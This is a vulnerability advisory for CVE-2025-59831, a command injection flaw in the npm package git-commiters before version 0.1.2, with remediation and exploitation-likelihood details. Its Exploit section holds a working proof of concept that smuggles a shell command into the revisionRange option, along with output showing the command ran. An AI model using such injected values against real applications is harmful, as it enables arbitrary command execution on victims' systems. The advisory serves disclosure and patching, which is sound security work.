CVE-2025-59831

Description

## Background on the vulnerability This vulnerability manifests with the library's primary exported API: `gitCommiters(options, callback)` which allows specifying options such as `cwd` for current working directory and `revisionRange` as a revision pointer, such as `HEAD`. However, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments and as such, uncontrolled user input is concatenated into command execution. ## Exploit 1. Install `[email protected]` or earlier 2. Initiaizlie a new Git directory with commits in it 3. Create the following script in that directory: ```js var gitCommiters = require("git-commiters"); var options = { cwd: "./", revisionRange: "HEAD; touch /tmp/pwn; #", }; gitCommiters(options, function (err, result) { if (err) console.log(err); else console.log(result); }); ``` 3. Observe new file created on disk at `/tmp/pwn` The git commiters functionality works as expected, too, despite the command execution, which further hinders the problem as it may not be apparent that a command injection occured on a running application. ```sh @lirantal ➜ /workspaces/git-commiters.js (master) $ node app.js [ { email: '[email protected]', name: 'Morton Fox', deletions: 1, insertions: 1, commits: 1 }, { email: '[email protected]', name: 'Riceball LEE', deletions: 11, insertions: 1198, commits: 7 } ] @lirantal ➜ /workspaces/git-commiters.js (master) $ ls -alh /tmp/pwn -rw-r--rw- 1 codespace codespace 0 Jul 1 06:09 /tmp/pwn ``` # Credit Liran Tal

How to fix CVE-2025-59831

To remediate CVE-2025-59831, upgrade the affected package to a fixed version below.

• —upgrade to 0.1.2 or later

Is CVE-2025-59831 being exploited?

Low — EPSS is 0.1%, meaning exploitation activity has not been observed at scale.

Affected packages (1)

• from 0, < 0.1.2